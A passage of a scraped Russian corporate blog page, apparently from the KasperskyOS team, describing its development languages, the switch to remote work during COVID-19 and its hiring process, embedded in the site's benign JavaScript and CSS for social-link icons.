.51.505.515.515 0 0 0 .51-.509v.004l.228-3.79-.227-10.44a.517.517 0 0 0-.25-.435zm-1.364 14.72v-.001.001-.002.002zm-.215-13.813a.47.47 0 0 0-.264-.081.486.486 0 0 0-.478.477l-.001.09-.18 9.48.181 3.847.001.016a.48.48 0 0 0 .477.458c.246 0 .248-.054.335-.14a.486.486 0 0 0 .144-.336l.02-.38.181-3.463-.201-9.573a.487.487 0 0 0-.215-.395zm-1.853 1.479a.447.447 0 0 0-.446.444l-.2 8.044.2 3.87c.005.465.2.442.446.442.245 0 .44.023.446-.444v.003l.223-3.87-.223-8.046a.447.447 0 0 0-.446-.443zm-1.577-.273a.416.416 0 0 0-.414.412l-.219 8.349.219 3.895c.005.228.187.41.414.41a.416.416 0 0 0 .413-.412v.002l.246-3.895-.246-8.35a.416.416 0 0 0-.413-.411zm-1.184 12.693v-.002.002zm0-12.5a.385.385 0 0 0-.382-.38.384.384 0 0 0-.381.38l-.238 8.567.238 3.932c.006.21.173.377.381.377a.385.385 0 0 0 .382-.378l.268-3.931-.268-8.568zm-1.935-.069a.354.354 0 0 0-.35.347l-.256 8.288.257 3.957c.006.193.16.346.35.346a.354.354 0 0 0 .349-.347v.002l.29-3.958-.29-8.288a.355.355 0 0 0-.35-.347zm-1.564.691a.322.322 0 0 0-.318.315l-.275 7.65.276 3.998a.321.321 0 0 0 .317.313c.17 0 .31-.138.317-.315v.002l.312-3.999-.312-7.65a.323.323 0 0 0-.317-.314zM12.974 20.6a.29.29 0 0 0-.285.282l-.295 6.226.295 4.023a.29.29 0 0 0 .285.281.292.292 0 0 0 .285-.282v.001l.333-4.023-.333-6.226a.292.292 0 0 0-.285-.282zm-1.264 2.678a.258.258 0 0 0-.253-.248.257.257 0 0 0-.253.25l-.314 3.826.314 4.024c.008.142.117.25.253.25a.259.259 0 0 0 .253-.25l.356-4.024-.356-3.828zm0 7.851v.001zm-1.757-8.366a.226.226 0 0 0-.221.217l-.333 4.126.333 3.99c.009.124.104.217.22.217s.21-.093.221-.216l.4-3.991-.4-4.126c-.01-.123-.105-.217-.22-.217zm-1.493.142c-.1 0-.179.078-.189.185l-.351 4.015.351 3.868c.01.108.09.185.19.185.097 0 .176-.077.188-.184l.4-3.869-.4-4.015c-.012-.107-.091-.185-.189-.185zm-2.873 1.96c-.079 0-.14.06-.151.147l-.276 2.094.276 2.056c.01.086.072.147.15.147s.14-.06.152-.147l.326-2.056-.326-2.095c-.013-.086-.074-.145-.151-.145zM6.98 23.57c-.08 0-.146.064-.157.152l-.25 3.385.25 3.308c.011.088.077.152.157.152s.144-.062.156-.152l.422-3.308-.422-3.385c-.012-.09-.077-.152-.156-.152zM48 24c0 13.255-10.745 24-24 24C10.757 48 0 37.255 0 24 0 10.757 10.757 0 24 0c13.255 0 24 10.757 24 24z"/></g></svg>'; } else { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M1.6 24.3c-.2 0-.3.1-.3.3l-.5 6.2.5 6c0 .2.2.3.3.3.2 0 .3-.1.3-.3l.6-6-.6-6.2c0-.2-.1-.3-.3-.3zm3.3 12.6zm0-11.8c0-.2-.2-.4-.4-.4s-.4.2-.4.4l-.5 5.8.5 6.1c0 .2.2.4.4.4s.4-.2.4-.4l.5-6.1-.5-5.8zm2.7-6.2c-.3 0-.5.2-.5.5l-.4 11.5.4 6c0 .3.2.5.5.5s.5-.2.5-.5l.5-6-.5-11.6c-.1-.2-.3-.4-.5-.4zm3.8-1c0-.3-.3-.6-.6-.6s-.6.3-.6.6l-.4 13 .4 5.9c0 .3.3.6.6.6s.6-.3.6-.6l.4-5.9-.4-13zm2.7.1c-.4 0-.7.3-.7.7l-.3 12.2.3 5.9c0 .4.3.7.7.7.4 0 .7-.3.7-.7l.3-5.9-.3-12.2c0-.4-.3-.7-.7-.7zm3.7-3.6c-.1-.1-.3-.1-.4-.1-.2 0-.4.1-.5.2-.2.1-.3.4-.3.6v.1l-.3 15.7.2 2.9.2 2.8c0 .4.4.8.8.8s.8-.3.8-.8l.3-5.7-.3-15.8c-.1-.3-.3-.5-.5-.7zm22.4 9c-1 0-1.9.2-2.7.5-.6-6.3-5.9-11.3-12.3-11.3-1.6 0-3.1.3-4.5.8-.5.2-.7.4-.7.8v22.2c0 .4.3.8.8.8h19.4c3.9 0 7-3.1 7-7 0-3.7-3.1-6.8-7-6.8z"/></svg>'; } soundcloud += '</a>'; soundcloud +=' </div>'; var telegram = ''; telegram += '<div class="t-review-social-links\_\_item">'; telegram += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 60 60" fill="' + fill + '"><path d="M30 0C13.4 0 0 13.4 0 30s13.4 30 30 30 30-13.4 30-30S46.6 0 30 0zm16.9 13.9l-6.7 31.5c-.1.6-.8.9-1.4.6l-10.3-6.9-5.5 5.2c-.5.4-1.2.2-1.4-.4L18 32.7l-9.5-3.9c-.7-.3-.7-1.5 0-1.8l37.1-14.1c.7-.2 1.4.3 1.3 1z"/><path d="M22.7 40.6l.6-5.8 16.8-16.3-20.2 13.3"/></svg>'; } else { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 60 60" fill="' + fill + '"><path d="M52.5 9L6.1 26.9c-.9.4-.9 1.8 0 2.3L18 34.1l4.4 14.1c.3.8 1.2 1 1.8.5l6.8-6.4L43.9 51c.7.4 1.6 0 1.7-.7l8.4-40c.2-.8-.7-1.6-1.5-1.3zm-28 27.7l-.7 7.3-3.6-11.2L45.5 16l-21 20.7z"/></svg>'; } telegram += '</a>'; telegram += '</div>'; if (item.indexOf('facebook') != -1) { socialWrapper.append(fb); } if (item.indexOf('twitter') != -1) { socialWrapper.append(twi); } if (item.indexOf('vk.com') != -1) { socialWrapper.append(vk); } if (item.indexOf('ok.ru') != -1) { socialWrapper.append(ok); } if (item.indexOf('behance') != -1) { socialWrapper.append(behance); } if (item.indexOf('vimeo') != -1) { socialWrapper.append(vimeo); } if (item.indexOf('youtube') != -1) { socialWrapper.append(youtube); } if (item.indexOf('instagram') != -1) { socialWrapper.append(instagram); } if (item.indexOf('pinterest') != -1) { socialWrapper.append(pinterest); } if (item.indexOf('linkedin') != -1) { socialWrapper.append(linkedin); } if (item.indexOf('soundcloud') != -1) { socialWrapper.append(soundcloud); } if (item.indexOf('telegram') != -1) { socialWrapper.append(telegram); } } $(document).ready(function() { t\_reviews\_social\_init('187129895'); });@media screen and (max-width: 640px){ .t525 .t-review-social-links\_\_wrapper { -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; }
} На каких языках пишется KasperskyOS Один из самых активно используемых языков для разработки в KasperskyOS — это C++. Но микроядро, KSS и многие ключевые системные компоненты написаны на C, так как этот язык проще и удобнее, если речь идет о сертификации и доказательстве требуемых свойств программного обеспечения. С С++ сложностей в этом плане гораздо больше.
Кроме С++ и С, для создания средств разработки KasperskyOS мы активно используем Haskell. Например, на нем написан компилятор системы безопасности и ряд других внутренних инструментов. Для доказательств заданных свойств программ и алгоритмов мы используем Event B. Все средства могут быть хороши, если они ведут к результатам. Как нам живется на карантине Эпидемия коронавируса внесла свои коррективы в работу подразделения. С середины марта мы всем офисом перешли на удаленку. Команда KasperskyOS переключилась на новый формат работы довольно легко — сервисы компании были готовы к такому событию. «Лаборатория Касперского» — международная компания, которая имеет офисы и партнеров по всему миру. Эффективное удаленное взаимодействие — это корпоративный стандарт компании на протяжении уже многих лет. Поэтому для перевода всех сотрудников на удаленку никаких дополнительных мер предпринимать не потребовалось.  Лаборатория Касперского разъехалась по домам, офис опустел Эффективность удаленной работы подтверждается цифрами. Мы подсчитали ежесуточное число коммитов в целом по компании до дня X и после. Оказалось, что их поток почти не изменился. Никаких признаков сколько-нибудь существенных проблем нет. Только за первую неделю в новом режиме сотрудники стали созваниваться в десять раз чаще и в семь раз чаще устраивать встречи в онлайне. Можно сказать, что онлайн-работа кипит.
Многим из нас некомфортно без «живого» контакта. Но мы научились взаимодействовать в новых социально-культурных условиях и надеемся, что эти умения помогут нам эффективнее работать и после того, как COVID-19 сдаст свои позиции. Как попасть в нашу команду  Зеленый Слон заскучал в одиночестве В нашем подразделении работает около 40 человек, и мы продолжаем расти. В команду нужны: * программисты, которые глубоко разбираются в железе;
* C / С++ программисты, которые великолепно знают какой-то аспект одной из современных ОС, к примеру, сети, файловую или графическую подсистему (особенно в команды, которые делают security-подсистему и SDK);
* разработчики C++, которые будут создавать компоненты более высокого уровня в продуктовых командах;
* специалисты по формальным моделям и по функциональному программированию;
* Python-программисты, которые умеют разрабатывать отказоустойчивые распределенные системы (в инфраструктурную команду);
* аналитики, которые помогут анализировать архитектуру решений на предмет рисков безопасности, строить модели угроз, формировать цели безопасности для продуктов.
Откликнуться на вакансии KasperskyOS можно [здесь](https://u.tmtm.ru/kasperskyos-jobs). Каких навыков мы еще ждем от кандидатов? Базовые требования к члену команды: глубокая техническая экспертиза, самостоятельность, готовность разобраться в сложной новой теме, умение работать в команде и внятно передавать друг другу информацию. Конечно, мы бы хотели видеть у себя людей, мотивированных развиваться. В ситуации, когда человек не знает, как решить задачу, один умоет руки, а другой задастся вопросом: «Как научиться решать такие задачи?» Начнет читать книги и статьи и обнаружит, что казавшееся невозможным еще как возможно.
Бэкграунд в компьютерной безопасности — огромный плюс. Создавая любой компонент, разработчик должен понимать связанные с ним риски безопасности и способы их устранения. Поскольку разработка у нас ведется в основном из-под Linux, знание этой ОС и средств администрирования в ней тоже актуальны. В принципе, в команде встречаются люди, которые ведут разработку в Visual Studio под Windows и компилируют написанный код на Linux. Но это для нас, скорее, исключение. Задачи у нас нестандартные, и решение может прийти с какой угодно стороны. Если у человека есть специфический опыт, которого нет больше ни у кого в команде, шансы устроиться к нам на работу возрастают. Отбор кандидатов проходит в три этапа*.* Сначала короткий опрос по телефону на предмет базовых знаний, затем глубокое техническое собеседование на 2–4 часа. Финальный этап — собеседование с руководителем. Максим Юдин руководитель отдела разработки безопасной платформы (Secure Platform Development) .t-review-social-links { line-height: 0px; } .t-review-social-links\_\_wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; width: auto; } .t-review-social-links { margin-top: 15px; } .t-review-social-links\_\_item { padding: 0px 4px; } .t-review-social-links\_\_item svg { width: 20px; height: 20px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 23px; height: 23px; } .t-review-social-links\_\_item:first-child { padding-left: 0px; } @media screen and (max-width: 960px) { .t-review-social-links\_\_item { margin-bottom: 3px; } } @media screen and (max-width: 640px) { .t-review-social-links { margin-top: 13px; } .t-review-social-links\_\_item { padding: 0px 3px; } .t-review-social-links\_\_item svg { width: 17px; height: 17px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 20px; height: 20px; } } function t\_reviews\_social\_init(recid){ var rec = $('#rec' + recid); var social = rec.find('.t-review-social-links'); if (social !== 'undefined' && social.length > 0) { social.each(function() { var $this = $(this); var socialAttr = $this.attr('data-social-links'); var socialWrapper = $this.find('.t-review-social-links\_\_wrapper'); var links; $this.removeAttr('data-social-links'); if (typeof socialAttr !== 'undefined') { links = socialAttr.split(','); links.forEach(function(item) { t\_reviews\_social\_add\_item(item, socialWrapper); }); } }); } } function t\_reviews\_social\_add\_item(item, socialWrapper) { var fill = socialWrapper.attr('data-social-color') || '#000000'; var fb = ''; fb = '<div class="t-review-social-links\_\_item">'; fb += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { fb += '<svg class="t-review-social-links\_\_svg" version="1.1" id="Layer\_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve" fill="' + fill + '"><desc>Facebook</desc><path d="M47.761,24c0,13.121-10.638,23.76-23.758,23.76C10.877,47.76,0.239,37.121,0.239,24c0-13.124,10.638-23.76,23.764-23.76C37.123,0.24,47.761,10.876,47.761,24 M20.033,38.85H26.2V24.01h4.163l0.539-5.242H26.2v-3.083c0-1.156,0.769-1.427,1.308-1.427h3.318V9.168L26.258,9.15c-5.072,0-6.225,3.796-6.225,6.224v3.394H17.1v5.242h2.933V38.85z"></path></svg>'; } else { fb += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M21.1 7.8C22.5 6.5 24.5 6 26.4 6h6v6.3h-3.9c-.8-.1-1.6.6-1.8 1.4v4.2h5.7c-.1 2-.4 4.1-.7 6.1h-5v18h-7.4V24h-3.6v-6h3.6v-5.9c.1-1.7.7-3.3 1.8-4.3z"/></svg>'; } fb += '</a>'; fb += '</div>'; var twi = ''; twi += '<div class="t-review-social-links\_\_item">'; twi += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.762 24c0 13.121-10.639 23.76-23.761 23.76S.24 37.121.24 24C.24 10.876 10.879.24 24.001.24S47.762 10.876 47.762 24m-9.731-11.625a12.148 12.148 0 0 1-3.87 1.481 6.08 6.08 0 0 0-4.455-1.926 6.095 6.095 0 0 0-6.093 6.095c0 .478.054.941.156 1.388a17.302 17.302 0 0 1-12.559-6.367 6.066 6.066 0 0 0-.825 3.064 6.088 6.088 0 0 0 2.711 5.07 6.075 6.075 0 0 1-2.761-.762v.077c0 2.951 2.1 5.414 4.889 5.975a6.079 6.079 0 0 1-2.752.106 6.104 6.104 0 0 0 5.692 4.232 12.226 12.226 0 0 1-7.567 2.607c-.492 0-.977-.027-1.453-.084a17.241 17.241 0 0 0 9.34 2.736c11.209 0 17.337-9.283 17.337-17.337 0-.263-.004-.527-.017-.789a12.358 12.358 0 0 0 3.039-3.152 12.138 12.138 0 0 1-3.498.958 6.089 6.089 0 0 0 2.686-3.372"/></svg>'; } else { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.8 12.7c-1.3.6-2.8 1-4.2 1.1 1.5-1 2.6-2.3 3.2-4-1.5.8-2.9 1.5-4.7 1.8-1.3-1.5-3.2-2.3-5.3-2.3-4 0-7.3 3.2-7.3 7.3 0 .6 0 1.1.2 1.6-6-.3-11.3-3.2-15.1-7.6-.6 1.1-1 2.3-1 3.7 0 2.6 1.3 4.7 3.2 6-1.1 0-2.3-.3-3.2-1v.2c0 3.6 2.4 6.5 5.8 7.1-.6.2-1.3.3-1.9.3-.5 0-1 0-1.3-.2 1 2.9 3.6 5 6.8 5-2.4 1.9-5.7 3.1-9.1 3.1-.6 0-1.1 0-1.8-.2 3.2 2.1 7 3.2 11.2 3.2 13.4 0 20.7-11 20.7-20.7v-1c1.7-.7 2.8-2 3.8-3.4z"/></svg>'; } twi += '</a>'; twi += '</div>'; var vk = ''; vk += '<div class="t-review-social-links\_\_item">'; vk += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.761 24c0 13.121-10.639 23.76-23.76 23.76C10.878 47.76.239 37.121.239 24 .239 10.877 10.878.24 24.001.24c13.121 0 23.76 10.637 23.76 23.76m-12.502 4.999c-2.621-2.433-2.271-2.041.89-6.25 1.923-2.562 2.696-4.126 2.45-4.796-.227-.639-1.64-.469-1.64-.469l-4.71.029s-.351-.048-.609.106c-.249.151-.414.505-.414.505s-.742 1.982-1.734 3.669c-2.094 3.559-2.935 3.747-3.277 3.524-.796-.516-.597-2.068-.597-3.171 0-3.449.522-4.887-1.02-5.259-.511-.124-.887-.205-2.195-.219-1.678-.016-3.101.007-3.904.398-.536.263-.949.847-.697.88.31.041 1.016.192 1.388.699.484.656.464 2.131.464 2.131s.282 4.056-.646 4.561c-.632.347-1.503-.36-3.37-3.588-.958-1.652-1.68-3.481-1.68-3.481s-.14-.344-.392-.527c-.299-.222-.722-.298-.722-.298l-4.469.018s-.674-.003-.919.289c-.219.259-.018.752-.018.752s3.499 8.104 7.573 12.23c3.638 3.784 7.764 3.36 7.764 3.36h1.867s.566.113.854-.189c.265-.288.256-.646.256-.646s-.034-2.512 1.129-2.883c1.15-.36 2.624 2.429 4.188 3.497 1.182.812 2.079.633 2.079.633l4.181-.056s2.186-.136 1.149-1.858c-.197-.139-.715-1.269-3.219-3.591"/></svg>'; } else { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.2 22.2c.6-.8 1.1-1.5 1.5-2 2.7-3.5 3.8-5.8 3.5-6.8l-.2-.2c-.1-.1-.3-.3-.7-.4-.4-.1-.9-.1-1.5-.1h-7.2c-.2 0-.3 0-.3.1 0 0-.1 0-.1.1v.1c-.1 0-.2.1-.3.2-.1.1-.2.2-.2.4-.7 1.9-1.5 3.6-2.5 5.2-.6 1-1.1 1.8-1.6 2.5s-.9 1.2-1.2 1.5c-.3.3-.6.6-.9.8-.2.3-.4.4-.5.4-.1 0-.3-.1-.4-.1-.2-.1-.4-.3-.5-.6-.1-.2-.2-.5-.3-.9 0-.4-.1-.7-.1-.9v-4c0-.7 0-1.2.1-1.6v-1.3c0-.4 0-.8-.1-1.1-.1-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.8-.3-.8-.2-1.9-.3-3.1-.3-2.9 0-4.7.2-5.5.6-.3.2-.6.4-.9.7-.3.3-.3.5-.1.6.9.1 1.6.5 2 1l.1.3c.1.2.2.6.3 1.1.1.5.2 1.1.2 1.7.1 1.1.1 2.1 0 2.9-.1.8-.1 1.4-.2 1.9-.1.4-.2.8-.3 1.1-.1.3-.2.4-.3.5 0 .1-.1.1-.1.1-.1-.1-.4-.1-.6-.1-.2 0-.5-.1-.8-.3-.3-.2-.6-.5-1-.9-.3-.4-.7-.9-1.1-1.6-.4-.7-.8-1.5-1.3-2.4l-.4-.7c-.2-.4-.5-1.1-.9-1.9-.4-.8-.8-1.6-1.1-2.4-.1-.3-.3-.6-.6-.7l-.1-.1c-.1-.1-.2-.1-.4-.2s-.3-.1-.5-.2H3.2c-.6 0-1.1.1-1.3.4l-.1.1c0 .1-.1.2-.1.4s0 .4.1.6c.9 2.2 1.9 4.3 3 6.3s2 3.6 2.8 4.9c.8 1.2 1.6 2.4 2.4 3.5.8 1.1 1.4 1.8 1.7 2.1.3.3.5.5.6.7l.6.6c.4.4.9.8 1.6 1.3.7.5 1.5 1 2.4 1.5.9.5 1.9.9 3 1.2 1.2.3 2.3.4 3.4.4H26c.5 0 .9-.2 1.2-.5l.1-.1c.1-.1.1-.2.2-.4s.1-.4.1-.6c0-.7 0-1.3.1-1.8s.2-.9.4-1.2c.1-.3.3-.5.5-.7.2-.2.3-.3.4-.3.1 0 .1-.1.2-.1.4-.1.8 0 1.3.4s1 .8 1.4 1.3c.4.5 1 1.1 1.6 1.8.6.7 1.2 1.2 1.6 1.5l.5.3c.3.2.7.4 1.2.5.5.2.9.2 1.3.1l5.9-.1c.6 0 1-.1 1.4-.3.3-.2.5-.4.6-.6.1-.2.1-.5 0-.8-.1-.3-.1-.5-.2-.6-.1-.1-.1-.2-.2-.3-.8-1.4-2.2-3.1-4.4-5.1-1-.9-1.6-1.6-1.9-1.9-.5-.6-.6-1.2-.3-1.9.3-.5 1-1.5 2.2-3z"/></svg>'; } vk += '</a>'; vk += '</div>'; var ok = ''; ok += '<div class="t-review-social-links\_\_item">'; ok += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15.001 29.997C6.715 29.997 0 23.28 0 14.997 0 6.714 6.715 0 15.001 0 23.282-.001 30 6.713 30 14.998c0 8.283-6.716 14.999-14.998 14.999zM15 9.163c.986 0 1.787.803 1.787 1.787 0 .987-.801 1.788-1.787 1.788a1.788 1.788 0 0 1 0-3.574zm4.317 1.787a4.322 4.322 0 0 0-4.317-4.319 4.323 4.323 0 0 0-4.319 4.32A4.322 4.322 0 0 0 15 15.266a4.32 4.32 0 0 0 4.316-4.317zm-2.57 7.84a8.126 8.126 0 0 0 2.507-1.038 1.266 1.266 0 0 0-1.347-2.143 5.482 5.482 0 0 1-5.816 0 1.265 1.265 0 0 0-1.348 2.143c.78.49 1.628.838 2.507 1.038l-2.414 2.414a1.267 1.267 0 0 0 .894 2.16c.324 0 .649-.125.895-.37l2.371-2.373 2.373 2.373a1.265 1.265 0 0 0 1.788-1.789l-2.41-2.415z"/></svg>'; } else { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M12.498 6.2a1.932 1.932 0 0 0-1.929 1.93 1.932 1.932 0 0 0 3.861 0 1.932 1.932 0 0 0-1.932-1.93zm0 6.592a4.668 4.668 0 0 1-4.66-4.662 4.665 4.665 0 0 1 4.66-4.663 4.666 4.666 0 0 1 4.664 4.663 4.669 4.669 0 0 1-4.664 4.662zm-1.884 3.801a8.75 8.75 0 0 1-2.708-1.12 1.367 1.367 0 1 1 1.455-2.312 5.925 5.925 0 0 0 6.276 0 1.367 1.367 0 1 1 1.456 2.311c-.832.522-1.749.9-2.707 1.12l2.606 2.608a1.367 1.367 0 0 1-1.933 1.931L12.5 18.569l-2.561 2.562a1.368 1.368 0 0 1-1.934-1.934l2.609-2.604z"/></svg>'; } ok += '</a>'; ok += '</div>'; var behance = ''; behance += '<div class="t-review-social-links\_\_item">'; behance += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-421.541 278.608c-3.095 0-3.526 3.09-3.526 3.09h6.581c0-.001.042-3.09-3.055-3.09zM-436.472 281.697h-5.834v5.356h5.165c.088 0 .219.002.374 0 .831-.02 2.406-.261 2.406-2.604-.001-2.78-2.111-2.752-2.111-2.752z"/><path d="M-430.984 257C-444.248 257-455 267.75-455 281.014c0 13.263 10.752 24.016 24.016 24.016 13.262 0 24.014-10.752 24.014-24.016-.001-13.263-10.754-24.014-24.014-24.014zm5.054 14.756h8.267v2.467h-8.267v-2.467zm-4.179 12.943c0 6.116-6.364 5.914-6.364 5.914h-10.428v-20.038h10.428c3.168 0 5.668 1.75 5.668 5.335s-3.057 3.813-3.057 3.813c4.031 0 3.753 4.976 3.753 4.976zm15.466-.328h-10.384c0 3.722 3.526 3.487 3.526 3.487 3.329 0 3.213-2.156 3.213-2.156h3.527c0 5.722-6.859 5.33-6.859 5.33-8.227 0-7.698-7.661-7.698-7.661s-.008-7.698 7.698-7.698c8.112.001 6.977 8.698 6.977 8.698z"/><path d="M-435.055 276.221c0-2.084-1.417-2.084-1.417-2.084H-442.306v4.471h5.472c.944 0 1.779-.304 1.779-2.387z"/></svg>'; } else { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M22.4 7.5h-5.6V6.1h5.6v1.4zm-9.3 5.7c.4.6.5 1.2.5 2s-.2 1.6-.6 2.2c-.3.4-.6.8-1 1.1-.4.3-1 .6-1.6.7-.6.1-1.3.2-2 .2H2.3V5.6H9c1.7 0 2.9.5 3.6 1.5.4.6.6 1.3.6 2.1s-.2 1.5-.6 2c-.2.3-.6.6-1.1.8.7.2 1.2.7 1.6 1.2zM5.5 11h2.9c.6 0 1.1-.1 1.5-.3.4-.2.6-.6.6-1.2s-.2-1.1-.7-1.3C9.3 8.1 8.7 8 8.1 8H5.5v3zm5.2 4c0-.7-.3-1.2-.9-1.5-.3-.2-.8-.2-1.4-.2h-3V17h2.9c.6 0 1.1-.1 1.4-.2.7-.3 1-.9 1-1.8zm13.8-2.2c.1.5.1 1.1.1 2h-7.2c0 1 .4 1.7 1 2.1.4.3.9.4 1.4.4.6 0 1.1-.1 1.4-.5.2-.2.4-.4.5-.7h2.6c-.1.6-.4 1.2-1 1.8-.9 1-2.1 1.4-3.7 1.4-1.3 0-2.5-.4-3.5-1.2-1-.8-1.5-2.1-1.5-4 0-1.7.5-3 1.4-4 .9-.9 2.1-1.4 3.5-1.4.9 0 1.6.2 2.3.5.7.3 1.3.8 1.7 1.5.6.6.8 1.3 1 2.1zm-2.7.2c0-.7-.3-1.2-.7-1.6-.4-.4-.9-.5-1.5-.5-.7 0-1.2.2-1.5.6-.4.4-.6.9-.7 1.5h4.4z"/></svg>'; } behance += '</a>'; behance += '</div>'; var vimeo = ''; vimeo += '<div class="t-review-social-links\_\_item">'; vimeo += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 256.971c13.267 0 24.023 10.755 24.023 24.023s-10.755 24.023-24.023 24.023-24.023-10.755-24.023-24.023 10.756-24.023 24.023-24.023zm-12.262 19.146l.996 1.306s2.054-1.619 2.739-.81c.685.81 3.299 10.584 4.171 12.387.761 1.581 2.862 3.672 5.166 2.179 2.302-1.493 9.959-8.03 11.329-15.749 1.369-7.717-9.213-6.1-10.335.623 2.802-1.682 4.297.683 2.863 3.362-1.431 2.676-2.739 4.421-3.424 4.421-.683 0-1.209-1.791-1.992-4.92-.81-3.236-.804-9.064-4.17-8.403-3.171.623-7.343 5.604-7.343 5.604z"/></svg>'; } else { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M2.9 16.5l1.6 2s3.2-2.5 4.3-1.3c1.1 1.3 5.2 16.5 6.5 19.3 1.2 2.5 4.5 5.7 8.1 3.4S39 27.4 41.1 15.3s-14.4-9.5-16.1 1c4.4-2.6 6.7 1.1 4.5 5.3s-4.3 6.9-5.3 6.9c-1.1 0-1.9-2.8-3.1-7.7-1.3-5.1-1.3-14.2-6.5-13.1-5.2 1-11.7 8.8-11.7 8.8z"/></svg>'; } vimeo += '</a>'; vimeo += '</div>'; var youtube = ''; youtube += '<div class="t-review-social-links\_\_item">'; youtube += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 257.013c13.248 0 23.987 10.74 23.987 23.987s-10.74 23.987-23.987 23.987-23.987-10.74-23.987-23.987 10.739-23.987 23.987-23.987zm11.815 18.08c-.25-1.337-1.363-2.335-2.642-2.458-3.054-.196-6.119-.355-9.178-.357-3.059-.002-6.113.154-9.167.347-1.284.124-2.397 1.117-2.646 2.459a40.163 40.163 0 0 0 0 11.672c.249 1.342 1.362 2.454 2.646 2.577 3.055.193 6.107.39 9.167.39 3.058 0 6.126-.172 9.178-.37 1.279-.124 2.392-1.269 2.642-2.606a39.769 39.769 0 0 0 0-11.654zm-14.591 9.342v-7.115l6.627 3.558-6.627 3.557z"/></svg>'; } else { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M43.9 15.3c-.4-3.1-2.2-5-5.3-5.3-3.6-.3-11.4-.5-15-.5-7.3 0-10.6.2-14.1.5-3.3.3-4.8 1.8-5.4 4.9-.4 2.1-.6 4.1-.6 8.9 0 4.3.2 6.9.5 9.2.4 3.1 2.5 4.8 5.7 5.1 3.6.3 10.9.5 14.4.5s11.2-.2 14.7-.6c3.1-.4 4.6-2 5.1-5.1 0 0 .5-3.3.5-9.1 0-3.3-.2-6.4-.5-8.5zM19.7 29.8V18l11.2 5.8-11.2 6z"/></svg>'; } youtube += '</a>'; youtube += '</div>'; var instagram = ''; instagram += '<div class="t-review-social-links\_\_item">'; instagram += ' <a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15 11.014a3.986 3.986 0 1 0 .001 7.971A3.986 3.986 0 0 0 15 11.014zm0 6.592A2.604 2.604 0 0 1 12.393 15 2.604 2.604 0 0 1 15 12.394 2.614 2.614 0 0 1 17.607 15 2.604 2.604 0 0 1 15 17.606zM19.385 9.556a.915.915 0 0 0-.92.921c0 .512.407.919.92.919a.914.914 0 0 0 .921-.919.916.916 0 0 0-.921-.921z"/><path d="M15.002.15C6.798.15.149 6.797.149 15c0 8.201 6.649 14.85 